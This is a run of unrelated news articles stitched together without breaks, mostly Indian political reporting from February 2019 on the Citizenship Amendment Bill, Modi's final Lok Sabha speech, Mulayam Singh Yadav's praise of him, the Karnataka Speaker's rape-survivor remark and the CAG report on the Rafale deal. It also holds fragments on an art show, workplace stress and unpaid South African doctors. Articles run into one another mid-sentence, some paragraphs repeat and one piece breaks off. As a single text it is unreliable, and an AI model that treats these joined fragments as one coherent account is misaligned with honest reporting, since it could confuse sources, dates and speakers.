On Monday, Rahul alleged that Modi facilitated "loot" in Rafale deal citing a media report that Modi had got the anti-corruption clause removed from the contract. A day later, Rahul used another media report to allege that the prime minister acted as a middleman for Ambani in the fighter deal and accused him of violating the Official Secrets Act (OSA) and indulging in treason for which action must be initiated".

With inputs from agenciesAmong the bills for consideration and passing listed in the Rajya Sabha for Wednesday, the CAB stands at number 9 with Home Minister Rajnath Singh as the introducer.

Tuesday saw a war-like atmosphere in Assam both within the confines of the examination hall and outside of it. As 2,42,844 candidates appeared for the higher secondary examination with obvious nervousness on what the question paper might have in store for them, it was the uncertainty over the Citizenship Amendment Bill, 2019 (CAB) that created a similar tension outside the test centres.

Although the CAB was not tabled in the Rajya Sabha on Tuesday, the penultimate day of the ongoing Budget Session  provided it's not extended by a couple of days, the tension was quite palpable on what might lie in wait on Wednesday. The emotion that has been fomenting against the bill from different political and non-political organisations across the North East, has now come down to a mathematical equation.

In the Upper House, the Bharatiya Janata Party has 73 members while the Congress has 50 members of its own. It is obvious that the role of the like-minded parties will play a critical role in deciding the fate of the CAB if it at all comes for discussion and voting at the end in the Rajya Sabha.

"We have 110 MPs in our favour including allies. We need a minimum of 123 to get the bill passed as the Rajya Sabha has 245 members. We are trying to convince parliamentarians from other parties to make up for the deficit and we are positive about it," said Assam BJP general secretary Dilip Saikia.

Among the bills for consideration and passing listed in the Rajya Sabha for Wednesday, the CAB stands at number 9 with Home Minister Rajnath Singh as the introducer.

Even though the UPA has an upper hand with 116 (counting on its side, for now, the remaining 14 MPs are critical for both the parties. One seat is vacant in the Upper House. Among these 14, the Biju Janata Dal has nine members, the Bahujan Samaj Party has four and the Naga Peoples Front has one.

"We met two chief ministers seeking support from them to oppose the bill. They are Andhra Pradesh chief minister N Chandrababu Naidu and his Meghalaya counterpart Conrad Sangma. We also urged them to get in touch with Odisha chief minister Naveen Patnaik as the BJD's support is crucial to defeating the bill. Sangma, in fact, called us around 9 pm (Tuesday) to inform us that the BJD will vote against the bill if needed as has been assured by Patnaik. However, all would depend on when the voting actually happens," said Assam Jatiyatabadi Yuva Chatra Parishad (AJYCP) president Palash Changmai from New Delhi.

A huge contingent of representatives from 70 non-political organisations is camping in the National Capital and meeting various leaders from across the political spectrum to garner support against the bill. This team has no direct contact with the Odisha chief minister and hence the appeal was made through Naidu and Sangma. Although the BJD seeks to maintain an equidistant from both the BJP and the Congress, the contingent is hoping that Patnaik's bonhomie with Naidu and West Bengal chief minister and Trinamool Congress chief Mamata Banerjee might work in their favour. The TMC is opposing the bill and both Naidu and Banerjee supported each other in their respective sit-in protests against the Narendra Modi-led government recently.

The Meghalaya chief minister, who also heads the National People's Party which is an NDA constituent, is fighting hard to prevent the bill from getting passed in the Rajya Sabha. Even his Manipur counterpart and BJP leader N Biren Singh is also camping in New Delhi to stop the bill from getting the Upper House nod. Sangma has even threatened to quit the NDA if the bill is passed.

What is interesting though is the stand taken by Mayawati's Bahujan Samaj Party.

"We have heard that the Centre has threatened her with unleashing the Central agencies against her if she does not tow the NDA line. The party's role is uncertain as of now. We hope that the NPF being a hill party would vote against the bill," the AJYCP president said. The NPF is also a part of the NDA.

There are unconfirmed reports that the Nagaland party might walk away and abstain from voting.

Assam Congress president and Rajya Sabha member Ripun Bora is confident that the party will stall the bill.

"We have stopped the government from placing the bill in the House today. If it comes tomorrow we will not allow it to pass at any cost. I am confident about it," Bora told Firstpost.

The Assam Congress president also said that his party would oppose any move by the government to extend the session of the House as there are unconfirmed reports that the session might go on till 15 February. Bora indicated of a Plan B but preferred not to spill the beans as yet.

The best chance for the Opposition is if they can manage to defeat the bill. Whether the bill would come up at all is also doubtful as it is placed relatively low in the list of business. With the Rafale controversy now regularly forcing adjournments in the House, it looks difficult if not impossible. Although not quite openly discussed the fear of horsetrading is lurking on both sides.

In parallel with the parleys by non-political organisations, the Asom Gana Parishad (AGP) along with 10 other regional political parties also had a meeting with Sangma in New Delhi on Tuesday.

"We have urged all political parties to oppose the bill. NDA partners Shiv Sena and Janata Dal (United) already made it clear that they are going to oppose the bill. We are hoping BJD would back us. But if the bill gets passed on Wednesday by chance the atmosphere in Assam would turn really volatile. The North East will burn. We will have no option then but to go to the Supreme Court," AGP president Atul Bora. The AGP had come out of the government in Assam last month following the BJP's insistence to pass the bill despite stiff opposition to it.

Krishak Mukti Sangram Samiti (KMSS) leader Akhil Gogoi, who has been vociferously protesting against the bill, has made a mass appeal to the people of Assam to hit the streets on Wednesday to oppose the bill.

"We have to make our opposition felt. Our protests must be even more hard-hitting so that Delhi trembles. It has to be as sharp as they are doing in Manipur. Manipur and Mizoram have threatened to leave India. The government's adamance is compelling for people to take an anti-national stand. Not only it is about safeguarding the interest of the people from the North East but it is also about upholding the core constitutional principle of secularism. India cannot be divided on religious grounds," Gogoi said.

The representatives of the non-political organisations are also meeting the Rashtriya Janata Dal, Aam Aadmi Party, CPM and Congress on Wednesday to urge them to oppose the bill, he said.

The KMSS leader accepted that the role of the BJD is going to be critical either in preventing the bill from being placed or defeating it during voting. He also attributed the comments by Bhupen Hazarika's son Tej in increasing the pressure on the Centre.

"By linking the recently announced Bharat Ratna to the bard of Assam Bhupen Hazarika, Tej heightened the pressure on the government manifold. His comments also got significant coverage on the national dailies forcing the government to think twice. Bhupen Hazarika has always been an artiste of the people. He protested the whole life and was always anti-establishment. He was never nationalistic in his approach. He was for the people and of the people. Our objection is that the government is using Bhupen Hazarika to forward its communal agenda. Even after the Bharat Ratna announcement, have the protests come down? No. People are even angrier than before. To this effect, I would appreciate Tej for being an able son of an able father. Tej has stood up for democracy, for secularism, for North East and for the people," Gogoi said.

Tej, on Monday, came down heavily on the Centre opposing the bill through a Facebook post.

"I believe that my father's name and words are being invoked and celebrated publicly while plans are afoot to pass a painfully unpopular bill regarding citizenship that is actually undermining his documented position. It would in reality be in direct opposition to what Bupenda believed in his heart of hearts," he wrote.

"Bharat Ratnas and longest bridges while necessary, will not promote the peace and prosperity of the citizens of India. Only just popular laws and foresight on the part of leadership will. Numerous media journalists are now asking me whether or not I will accept the Bharat Ratna for my father. I go on record here to answer that A), I have not received any invitation so far there is nothing to reject, and B), how the Centre moves on this matter far outweighs in importance the awarding and receiving of such national recognition  a display of short lived cheap thrills," Tej, who is based in New York, said further.

However, on Tuesday, Bhupen Hazarika's younger brother Samar expressed his unhappiness over the controversy and termed it "unnecessary". Attempts to seek further clarity on Tej's status has gone unanswered as on 26 January his stand was completely different.

"Sure it is overwhelming but glad! This was a good day for all the people of India. Awarding Bhupen Hazarika with the The Bharat Ratna, is a win for humanity, diversity and India as a secular democracy. In his songs can be discovered blueprints for the youth and future of India. In his songs he celebrated the richness of indigenous people not only of the Northeast but all of India as he advocated their inclusion in the Indian experience as essential to the success of Indian civilization as a whole," Tej had said earlier on 26 January through a Facebook post, a day after the country's highest civilian award for his father was announced.

The scale of opposition against the bill in North East is fathomable from the fact that three-time chief minister and Congress leader from Mizoram Lal Thanhawla held a protest in Aizawl on Tuesday along with others that called for an "independent Mizoram".

"The entire North East is of one opinion that the CAB is disastrous for us. The indigenous people will become minorities and that's there such a rise against the bill. Mizoram is no exception," said Lal Thanhawla.

The veteran Congress leader also warned that if the bill is not withdrawn they would be forced to take the extreme step commenting on the "secessionist" placard he was holding during the protest.

"Why would they charge us with sedition? They are forcing us to do it. In a democracy the united voice of the people is supreme. The entire northeastern people are one in this regard. This is irrespective of political parties and about saving the North East," he said.

Tripura is also on the boil following the Centre's attempt to push the CAB. The Indigenous Peoples Front of Tripura, which is an ally of the BJP, is strongly opposing the government's move.

"If the bill comes up today and it gets passed we will have to rethink on our position. But first of all let's see what happens today," said Indigenous Peoples Front of Tripura president Narendra Chandra Debbarma.

In the last few hours of the Rajya Sabha, both the Oposition and Treasury benches are likely to employ every possible tool in their armamentarium for their own purpose. Even as the Opposition accuses the government of being insidious to get the Citizenship Amendment Bill, 2019, their victory will be achieved only when the proposed law is shellacked either by vote or natural lapse. But once so close to becoming a law, a new bill will probaly be a leitmotif of anxiety again like those higher secondary students who will appear in some other exam in the future.In his last speech in the 16th Lok Sabha, Prime Minister Narendra Modi on Wednesday took potshots at Congress President Rahul Gandhi for his various gestures and comments made in the House during the last five years, including raking up of the Rafale fighter deal.

New Delhi: In his last speech in the 16th Lok Sabha, Prime Minister Narendra Modi on Wednesday took potshots at Congress President Rahul Gandhi for his various gestures and comments made in the House during the last five years, including raking up of the Rafale fighter deal.

He listed various initiatives of his government which were endorsed by the House during its term and said "a lot more needs to be done", inferring his intent to return to power.

In this context, he thanked Samajwadi Party veteran Mulayam Singh Yadav for wishing that he returns to the top post.

Modi also appeared to be sending a message to the voters as he emphasised that the world had taken India more seriously during his tenure because his government had a full majority in Parliament.

"This was the first House without a Congress gotra (lineage)," he said in his valedictory address.

He used the occasion to take potshots at Rahul, who was not present in the House but was addressing a press conference at the Congress headquarters over the CAG report on Rafale fighter deal.

"We used to hear that an earthquake will occur. Five years of this House are coming to an end but we did not see any earthquake," Modi said, evoking laughter from the ruling benches.

He was apparently referring to Rahul's comments made long back that if he speaks in the House, there will be an earthquake.

The Prime Minister also referred, in a veiled manner, to raking up of the Rafale deal by Rahul, saying "kuch havai jahaz bhi udaye gaye (some planes were also flown)."

He then went on to add that the might and stature of democracy is such that no plane can reach that level.

"Neither did any plane fly nor any earthquake occurred," he said.

At another point, Modi took a dig at Rahul while referring, in a veiled manner, to the hug the Congress president gave to him in House in July last year during the No-Confidence Motion. Rahul, after making a speech, had walked across the House and hugged a seated Modi, to his utter surprise.

"For the first time, I understood the difference between hugging and piling on," Modi quipped.

The Prime Minister also did not forget to mention, again in a veiled manner, the gestures which Rahul was caught making in the House, twice. "This is also the first time I saw playful exchange of glances in the House," he said.

He observed that the House had witnessed nok jhonk (trading of barbs) several times between the government and the Opposition. He said he regretted that at times, the discourse was not pleasant.

Recalling the achievements of the 16th Lok Sabha, the Prime Minister said a number of firsts were achieved its term.

"Several sessions in this Lok Sabha had good productivity... Overall the productivity was 85 percent...This is a very good sign. I want to appreciate the role of the Speaker (Sumitra Mahajan) in conducting the proceedings of the House, as well as Vice President Venkaiah Naidu ji (who is the Chairman of Rajya Sabha)," the Prime Minister said.

He paid tributes to former Parliamentary Affairs Minister Ananth Kumar who passed away a few months ago. "We definitely miss the cheerful Ananth Kumar," he said.

"We will be proud of this 16th Lok Sabha, as it saw the highest number of women members elected to the House. Forty-four first time women MPs were time elected to the Lok Sabha. It is a matter of great pride that even our External Affairs Minister, Defence Minister, Speaker and registrar are women," he said.

Prime Minister Modi also said that the strength of a majority government is one that holds significance on an international level.

"It is after three decades that a majority government came to power in the country. It is for the first time after independence that a government was formed without the help of the Congress lineage," he said.

Recalling the measures taken by his government, the Prime Minister said members of this Lok Sabha should be proud as they were part of the House that enacted several crucial legislations like the GST, increased maternity leave from 12 to 26 weeks, and introduced stringent laws curbing black money, shell companies and benami laws.

He added that this House made Aadhaar a superpower.

"Ours is the seventh fastest growing economy, and our self-confidence is at an all-time high," the Prime Minister said.

He said the world is discussing global warming and India took a lead in the formation of the International Solar Alliance to mitigate this menace.

While signing off, Modi said now since all the parties will again be going to the people, the discourse should be healthy.Narendra Modis final Lok Sabha address as 14th Prime Minister of India saw a liberal dose of irony, metaphor and other figures of speech as he recounted the NDA governments achievements and mocked his opponents without appearing to do so

Mark Antonys oration at the funeral of Julius Caesar, who was killed by Marcus Brutus, in Shakespeares Julius Caesar, is considered the high point of oratory. Antony never refers to Brutus even once in pejorative terms but with the repeated uttering of the phrase "but Brutus is an honourable man", the Roman politician succeeds in turning him the villain before peoples eyes. The figure of speech that Antony used there was irony. Narendra Modis final Lok Sabha address before the general election also saw a liberal dose of irony, metaphor and other figures of speech as the prime minister recounted the governments achievements without seemingly doing so, and mocked his opponents without appearing to do so. This bravura performance was also notable for the rare note of humility and deference to senior leaders from the rival camp  harking back to a time when political rivalry didnt cause the discourse to degenerate.

Modi started off by taking a subtle dig at "the dynasty and liberal intellectuals". Pointing out that though there have been 13 prime ministers before him, only the names of three former prime ministers were mentioned in the plate below the prime minister's chair in the House. Though he didnt elaborate on the names, it was likely a dig at the Nehru-Gandhi dynasty  Indias most storied political family.

He mentioned "liberal intellectuals" and took a jab at them by saying that hopefully, they will find some time away from their daily sermonising to deliberate on this anomaly. Modi's intention, clearly, was to point at the symbiotic relationship between the Congress and intellectuals of liberal disposition.

Modi thanked the Speaker for helping him navigate his first innings and mentioned that he was grateful to Samajwadi Party patriarch Mulayam Singh Yadav for blessing him  a reference to Mulayams comments earlier in the day that he wishes Modi will back in the prime ministers chair for his second stint. This message of continuity, however, is incumbent on the BJP getting a mandate similar to the one it received in 2014.

A large part of Modis speech was also an urge to the people to give another decisive mandate and put in place a government that can take bold decisions. Indias prestige has increased before the world, he claimed, not because of "Modi or (external affairs minister) Sushma (Swaraj)" but due to the "reality of a decisive mandate that brought in a full majority government. So, the credit for Indias resurgence goes to its 1.25 billion people who made such a mandate possible in 2014, the prime minister said on Wednesday.

At various points during the speech, Modi gave credit to the House and all its members (including from the Opposition) for the work done by his government. Beyond the obvious attempt at striking a note of amity and congeniality in his last address, the irony was evident. He thanked both Houses profusely for letting the 10 percent Quota Bill for the economically weaker sections pass, without mentioning that it was political compulsion on the part of BJPs rivals, and not some higher ideal of bonhomie that forced their hands.

The passing of stringent laws against corruption and black money also found mention, and Modi claimed that every member of the House should be proud of being a part of these historic attempts. The effort evidently was to portray the NDA government as "enemy of corruption" that apart from buttressing his image also blunts the Oppositions charges of graft.

Mentioning the fact that his government has done away with archaic laws, he referred to it as unfinished business, in the same vein thanking Mulayam for reposing faith in him. The note of confidence in Modis voice for a return mandate was evident. And his reference to Indias position as an economy that is sixth largest in the world and nearing $5 trillion was another pointer to the electorate that his second innings is imperative for the India story.

Amid the pitches, there was appreciation for senior Congress leader Mallikarun Kharge, leader of the largest party in Opposition in Lok Sabha, whom the prime minister compared with BJP patriarch Lal Krishna Advani for never missing a day in attendance and setting an example for other members of the House to follow. Amid the vicious sniping between two camps, this deference introduced a note of rare harmony.

Modis digs were saved for Rahul Gandhi who had once threatened "bhookamp" in the Parliament over corruption allegations against the prime minister. "We used to hear that an earthquake will come. No such thing happened," he said, adding that "many had flown (paper) planes inside the Parliament, but those couldnt fly high enough to reach the heights that democracy ensures", taking an apparent gibe at Rahul Gandhis campaign over Rafale deal.

Modi said it is only during his first stint in the Parliament that he learnt the difference between "gale lagna and gale padna" (an apparent reference to Rahuls sudden and awkward hug to the prime minister as a symbolism of "politics of love"). Modi added that it is the first time anyone had tried "aankhon ki gustakhiyaan" (referring to Rahuls wink to a colleague soon after the hug inside the Parliament.

These barbs arent new, but the finesse with which Modi took aim and drove home his arguments deserves mention. The Opposition sat mostly with poker face while the treasury benches made merry. Modis speech was yet another reminder that the art of communication is most effective when used subtly, without searing rhetoric and histrionics. Rahul may take note.Samajwadi Party patron Mulayam Singh Yadav sprang a surprise, showering praise on Prime Minister Narendra Modi and appreciating his efforts to try and take everyone along and all sections of the House along

On the final day of the 16th Lok Sabha's last session of Parliament, Samajwadi Party patron Mulayam Singh Yadav sprang a surprise, showering praise on Prime Minister Narendra Modi and appreciating his efforts to try and take everyone along and all sections of the House along.

Then came what many in the Opposition benches would call a surprise of surprises  his parting wish of the 16th Lok Sabha was that in the 17th Lok Sabha, he would like to see Modi return as prime minister. "Pradhan Mantri ko badhaai dena chahta hoon ki pradhan mantri ne sabko saath lekar chalne ki koshish ki hai. Main aap ka aadar garta hoon aapka samman karta hoon. Main kehna chahta hun ki saare sadasya phir se jeet kar aayen, aur aap, Pradhan Mantriji, dobara pradhan mantri banein." (I want to congratulate the prime minister for trying to take everyone along. I respect you, I honour you. I want to see all present members of the House get elected as MPs and you, Mr Prime Minister, become prime minister again). Mulayan then gestured towards Modi with folded hands.

Modi laughed and responded with folded hands. A surprised Sonia Gandhi first laughed and then was seen talking to NCP leader Supriya Sule. Mulayam went on thanking Modi for his leadership.

The former Uttar Pradesh chief minister's words were music to the ears of the Treasury benches. This came at a time when the BJP's biggest challenge in the upcoming Lok Sabha election is to come from Uttar Pradesh.

The newly-formed Samajwadi Party-BSP alliance is arithmetically very strong and has the potential to adversely impact the BJP's prospects in the state where it had won 73 (including two by its ally, Apna Dal). The BJP could use Mulayam's statement as its key electoral issue in Uttar Pradesh to say there can't be a greater endorsement for Modi's work as prime minister and his re-election than somebody like Mulayam's rich praise.

The significance of Mulayam's statement lay in the fact that he is considered to the original 'dharti-putra'  a self-made, rooted-to-ground and wily politician from the politically-critical Hindi heartland state. His line of politics is otherwise diametrically opposed to that of Modi and the BJP's Hindutva politics. Although he is not in the best of health, his son Akhilesh Yadav has snatched the reins of authority in his own party, but the Samajwadi Party patriarch's wish is still a command for a section of party followers, at least among the older generations of Yadavs. "Netaji", as he is fondly called, is still admired by old-time Samajawdis in Uttar Pradesh.

By saying what he said in his last speech in the 16th Lok Sabha (nobody is quite sure whether he will fight the coming election), which could well be his last speech on the floor of the House, it becomes hugely significant for a vast mass of Samajwadi Party cadres. He has clearly indicated that he is not happy with the way son Akhilesh has yielded space to Mayawati's BSP, bending to terms dictated by Mayawati. He clearly let the world know that he does not like Akhilesh backing the prime ministerial candidature of Mayawati or Mamata Banerjee or Rahul Gandhi. He would rather see Modi return as prime minister.

When Akhilesh Yadav had sidelined Mulayam in the run up to the Uttar Pradesh Assembly election and struck an alliance with Rahul, giving the Congress 100 seats, it was said that Mulayam was not happy with the decision, but he didn't say son in public. The 2017 Assembly election spelled doom for the Samajwadi Party. Mulayam perhaps foresees a similar situation for his party in the next parliamentary election, a party he built with decades of hard work.

Outside of the House, Rahul Gandhi, at a press conference, disagreed with Mulayam's remarks. The BJP is already going gaga over this. It has got the ammunition its so desperately required to puncture the Samajwadi Party-BSP alliance. The BJP and RSS with its huge organisational machinery will do everything in its power to swing it in its favour.

When Modi's turn came to speak, to make concluding remarks of his present tenure on floor of the House in Lok Sabha, he ended his speech by "specially thanking" Mulayam. Modi called his tenure as the "beginning of his first innings".

The other loaded message that he gave was giving credit to a "full majority government" and in turn, to 125 crore Indians for voting overwhelmingly in 2014. He obviously hopes that people will repose the same trust in him in the coming election. Dalit icon BR Ambedkar and Mahatma Gandhi came in for repeated reference in his speech, so was the crackdown on black money and corruption.

His sarcasm was reserved for Rahul Gandhi, albeit without mentioning the Congress president's name  that the five-year tenure of the Lok Sabha is over, but "no earthquake" was felt (Rahul had famously said that there would be an earthquake if he was allowed to speak) inside the House, but some tried to fly paper airplanes (senior Congress leaders had done that while protesting against Rafale deal). Then he referred to Rahul's hug and wink, stating that he learned the difference between gale lagna and gale padna.After the women MLAs, including Chief Minister HD Kumaraswamy's wife Anitha Kumaraswamy, met him in his chamber and conveyed their disapproval, Kumar told the House that he had no intention to cause any pain to women members and that he considered them like as mothers and sisters.

Bengaluru: Facing disapproval from women lawmakers for comparing himself to a rape survivor, Karnataka Assembly Speaker Ramesh Kumar on Wednesday expunged his own remarks made in the House and sought pardon from them.

With his analogy Tuesday drawing criticism as being gender insensitive, the Speaker blamed the media for 'hyping' the issue "by adding masala" to his remarks.

After the women MLAs, including Chief Minister HD Kumaraswamy's wife Anitha Kumaraswamy, met him in his chamber and conveyed their disapproval, Kumar told the House that he had no intention to cause any pain to women members and that he considered them like as mothers and sisters.

"I'm directing my office to expunge all the comments made circumstantially from the records. I am clarifying that I had no intention to cause any pain to any woman from the Chair.

"...if anyone has felt so, kindly pardon me... all of you are like mothers and sisters. I have always respected you and

continue to do so," the Speaker said.

Kumar had made the controversial remarks during an intervention on discussions on Tuesday over a Special Investigation Team (SIT) probe into an audio clip featuring BJP chief BS Yeddyurappa in a purported conversation to lure a JD(S) MLA in his alleged attempt to topple the Congress-JDS government.

The Speaker's remarks had evoked guffaw from the members.

Pointing to repeated reference to a charge against him in the audio that he had been "booked" for Rs 50 crore for a

favourable ruling in case the ruling coalition MLAs resigned and the anti-defection law provisions are invoked against them, he had compared himself to a rape survivor having to undergo unabated questioning.

The chief minister has announced the SIT to probe the audio episode, on the "advice" of the Speaker to "establish the truth", as his name has also been dragged with the charge that he had been "booked" for Rs 50 crore.

Besides Anitha Kumaraswamy, the other women MLAs who met the speaker are Anjali Nimbalkar, Roopa Kala Shashidhar, Kaneez Fatima, Lakshmi Hebbalkar, Sowmya Reddy and Vinisha Niro.

They met Kumar after his comments and their silence on the issue drew criticism.

"Yesterday (Tuesday), during the proceeding, circumstantially I had spoken about the situation of a rape victim and even more insult the victim has to undergo during inquiry and reason why laws made are getting destroyed," he said.

He said, "As I made this statement, few of them (MLAs) laughed and few in the media have termed it as causing

disgrace to women. For the last two days, they (media) had not got any masala, they too have to lead their lives, so they are doing this."

The Speaker said women MLAs came to him and said they had been conducting themselves respectfully in the House.

They said they were being questioned for remaining silent while others were laughing. "I understand their sentiments," he said, adding that one can escape from the gallows but not from the media.

Earlier, speaking to the media, women MLAs cutting across party lines expressed their displeasure about the Speaker's comment on Tuesday and said it could have been avoided.

BJP MLA Shashikala Jolle said: "His (Speaker) situation may be so because of the humiliation he is made to undergo because of repeated reference to charges, but the way it was put across was not right."

Another BJP MLA Roopali Naik said the comments were not right and "it looked as though it (victims' situation) was being taken lightly. Such comments should not have been made. We wanted to express displeasure immediately, but."

Nominated member Vinisha Niro sought to defend the Speaker saying he was drawing a parallel to the 'pain' he had been undergoing. "He has complete respect for women, but he shouldn't have made those comments," she said.

Congress legislator Lakshmi Hebbalkar said, the Speaker did not intend to insult woman, "but this (comments) should not have happened."

Hebbalkar's lawmaker colleague Sowmya Reddy said, "I agree that the words shouldn't have been used. Rapes don't

only happen to woman; even men get raped... Knowing him, I can say, he did not mean to hurt anybody."Lauren Fritts will display work born during a summer spent teaching creative arts in Ghana in a solo show titled Lauren Fritts: Journey To Ghana in the Babylon Great Hall. She is an alumni of the college and Towson University and her students will recognize her as a teacher at South Carroll High School.Posted 1/13/19

Stress at work happens to everyoneit comes and goes, no matter how much you love what you do. Its causes can range from something fleeting, like an unusually heavy workload one week, to something South Africa: Minister disappointed by non-payment of doctors

Health Minister Dr Aaron Motsoaledi says he is disappointed and highly distressed to learn that some intern and community service doctors who started work in January, have not been paid their salaries.

According to the Department of Health, when the problem came to the fore, Motsoaledi understood that the association representing the doctors, South African Medical Association (SAMA) and respective administrations in provinces where the problem manifested itself, have been meeting to resolve the matter speedily, and that by 7 February 2019 the matter would have been settled.

The 7th of February is a week after they should have been paid. Being paid a week later than expected is by itself not acceptable. It is very difficult for the Ministry to fathom what difficulty could managers encounter that would lead to non-payment of a salary, Motsoaledi said.

On 9 December 2018, the Ministry issued a statement about the stimulus package and employment of health professionals. Another statement about the first entrant health workers (internship and community service) was issued on 12 December 2018.

These statements were issued after a two-day intense discussion about the issue of Human Resources for Health, held at the National Health Council with all the MECs and Heads of Department (HODs).

The statement was issued in agreement with everybody that all the relevant HR issues be resolved. What was left was for each province to capture each individual doctor on their respective persal systems where all the other public servants working in provinces are captured.

Every single HR section of a province knows that for a person to be paid at the end of the month, their full details must be on persal latest by the 15th of that month. Provinces have been paying public servants their salaries for decades and there is nothing new in that.

It is for these reasons that it is puzzling and extremely distressing for something like a payment of a salary to suddenly become a big problem. It was further disconcerting to learn that even a promise to fix whatever administrative glitch that may have occurred, [there were] still... problems... by 7th of February, the Minister said.

The Ministry has set a new date, 11 February 2019, for the payment of doctors.

I am calling on the very few provinces, who have not yet finalised this very simple task of paying somebody their well-deserved salary, to make sure that no intolerable excuse is forwarded to the affected health workers on the 11th, Motsoaledi said.

The Ministry further called on all Premiers of affected provinces to take interest in the matter and check what is happening in their administrations.  SAnews.gov.za

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.Questioning the credibility of the CAG report on Rafale, the Congress tweeted: 'This is the first time in history that a CAG report to Parliament has redacted numbers.'

The much-awaited Comptroller and Auditor General (CAG) report on the Rafale deal, which was tabled in Parliament on Wednesday, has given both the Opposition, mainly Congress and the government enough ammunition to ensure that the controversy around the fighter jets will persist.

Union minister Arun Jaitley took to Twitter on Wednesday to slam Congress chief Rahul Gandhi's charges of corruption against the NDA government.

In the Rafale deal signed in 2016, the country's top auditor said that compared to the 126 aircraft deal of the UPA, India managed to save 2.86 percent of the money for the India-specific enhancements in the 36 Rafale contract signed by the Narendra Modi government. To this, Jaitley tweeted that "the truth shall prevail".

The Union minister went on to add another tweet saying "lies of mahajhootbandhan have been exposed" with CAG's report.

The lies of Mahajhootbandhan stand exposed by the CAG Report.  Arun Jaitley (@arunjaitley) February 13, 2019

According to the CAG report, the Indian Air Force had stated during the 2010 technical trials of the Rafale jet that four of these India-specific enhancements were not needed, but they still got included in the deal.

Former Madhya Pradesh chief minister Shivraj Singh Chouhan also slammed the Congress chief. "Rahul Gandhi has constantly lied. If someone has to be given a tag of mahajhootha or an award for it then he'll be the first contender. He has no shame. The way he had lied in Rafale matter, all his facts and documents are turning out to be false," he said.

           #Rafale           ,                                 pic.twitter.com/KULckVW8SM  ShivrajSingh Chouhan (@ChouhanShivraj) February 13, 2019

However, the Congress and other Opposition parties have dismissed the report as biased because auditor Rajiv Mehrishi was the Finance Secretary when the deal for 36 Rafale fighter jets was inked in 2016.

The Congress also alleged that Mehrishi was "complicit in the irregularities" in the Rafale deal.

Congress chief Rahul Gandhi noted that the CAG report does not mention the dissent note by negotiators and said he doesn't think its worth the paper its written on.

Did Supreme Court have access to the dissent recorded by 3 negotiators from the Negotiating Team? This is a government paper: Congress President @RahulGandhi#AntiNationalModi pic.twitter.com/Cm87rRgSfq  Congress (@INCIndia) February 13, 2019

"The government's argument on price and faster delivery of Rafale fighter jets has been demolished," Rahul said at a press conference.

"The only reason for the new deal is to give Rs 30,000 crore to industrialist Anil Ambani," the Congress chief alleged.

Reiterating his demand for a joint parliamentary committee to look into the deal, Rahul said: "You say there was no scam, then why are you afraid of ordering a JPC."

Questioning the credibility of the report since it has "redacted numbers", the Congress tweeted: "This is the first time in history that a CAG report to Parliament has redacted numbers. This in itself raises a big question mark on the report. The comparison of the prices is based on the Aligned Price, the calculation of which is opaque.

The bank guarantee which was present in the previous deal and would have constituted an additional 7% cost is not present in the new deal. So the so-called savings of 2.86% can be attributed to the cost of the missing bank guarantee. 2/5#RafaleCAGReport  Congress (@INCIndia) February 13, 2019

Mocking the CAG report, Manish Tewari, national spokesperson of Congress termed it a "riddle wrapped in an enigma and packaged in a mystery".

Read the C&G report on the Rafale Procurement. It is a riddle wrapped in an enigma and packaged in a mystery. In other words it is gibberish that only its authors can decipher. However the intent is obvious - COVER UP THE CORRUPTION #RafaleCAGReport  Manish Tewari (@ManishTewari) February 13, 2019

With inputs from PTIWith the Wednesday being the last official business day of both Houses of the Parliament, let's take a look at some of the important key Bills that have been pending approval in both Houses of the Parliament

The Budget Session, which started 31 January, will hold its final session on Wednesday and is likely to end with a large list of bills remaining pending in both Houses of Parliament. With Congress staging a walk-out on Tuesday in the Lok Sabha over the Rafale deal and the Rajya Sabha being adjourned following an uproar by Samajwadi Party members after party chief Akhilesh Yadav was allegedly stopped at Lucknow airport while on his way to Allahabad, both Houses once again lost valuable time.

At the end of the Winter Session (247th session), the Upper House had 49 government bills and 130 private members bills pending; the Lok Sabha, on the other hand, according to its official website, had 25 government bills and over a thousand private members bills pending. With Wednesday being the last official business day of both Houses of the Parliament, let's take a look at some of the key bills that have been pending in both Houses of the Parliament.

Rajya Sabha

The Upper House has managed to pass just two bills during the Budget Session. The Upper House has the maximum number of bills pending, including key bills such as the Consumers Protection Bill 2018, Citizenship Amendment Bill 2019 and the Aaadhar and Other Laws (Amendment) Bill 2019.



Citizenship (Amendment) Bill, 2019: Though passed in the Lok Sabha, the Bill has been in limbo in the Rajya Sabha following the protests in the North East. Though the Bill was introduced in the Rajya Sabha on 6 February, it is yet to see any progress. Home Minister Rajnath Singh was expected to table the Bill in the Rajya Sabha on Tuesday, however, following an uproar by the Samajwadi Party, the Upper House was adjourned for the most part of the day. It's unlikely the Bill will be tabled on the last day of the Budget Session even though the prime minister has thrown his weight behind it, and is an important part of the BJP's agenda to consolidate Hindu votes in the North East ahead of the Lok Sabha Election. The bill seeks to grant Indian citizenship to non-Muslim minorities of Pakistan, Bangladesh and Afghanistan who fled religious persecution. It was passed by Lok Sabha on 8 January and is awaiting the nod of Rajya Sabha.

Aadhaar and Other Laws (Amendment) Bill, 2019: Introduced by Union Law Minister Ravi Shankar Prasad in the Lok Sabha on 2 January and passed on 4 January, the Bill is yet to be tabled in the Rajya Sabha. According to PRS India, the Bill seeks to make amendments in the Aadhaar (Targeted Delivery of Financial and Other Subsidies, Benefits and Services) Act, 2016, the Indian Telegraph Act, 1885, and the Prevention of Money Laundering Act, 2002. The Bill seeks crucial changes in the existing acts to put them in line with the Supreme Court order on the Aadhaar Act in September 2018, and ensure targeted delivery of subsidies and benefits to individuals residing in India by assigning them Aadhaar numbers.



Companies (Amendment) Bill, 2019: The Bill which was passed by the Lok Sabha during the Winter Session seeks to make crucial changes to ensure transparency of businesses registered in India. Aimed to replace a November 2018 Ordinance, the Bill seeks several amendments in the Companies Act, 2013, in areas such as re-categorisation of offences described under the 2013 Act into 16 civil offences, and allowing their resolution in the form of penalties as well as better compliance to taxation rules.

Indian Medical Council (Amendment) Bill, 2018: Passed in the Lok Sabha on 31 December, the bill seeks to set up the Medical Council of India (MCI) and determines the members that will constitute the new regulator of medical education and practice in the country. The Bill, if passed in the Rajya Sabha, will amend the Indian Medical Council Act, 1956, and replaces the Indian Medical Council (Amendment) Ordinance, 2018.

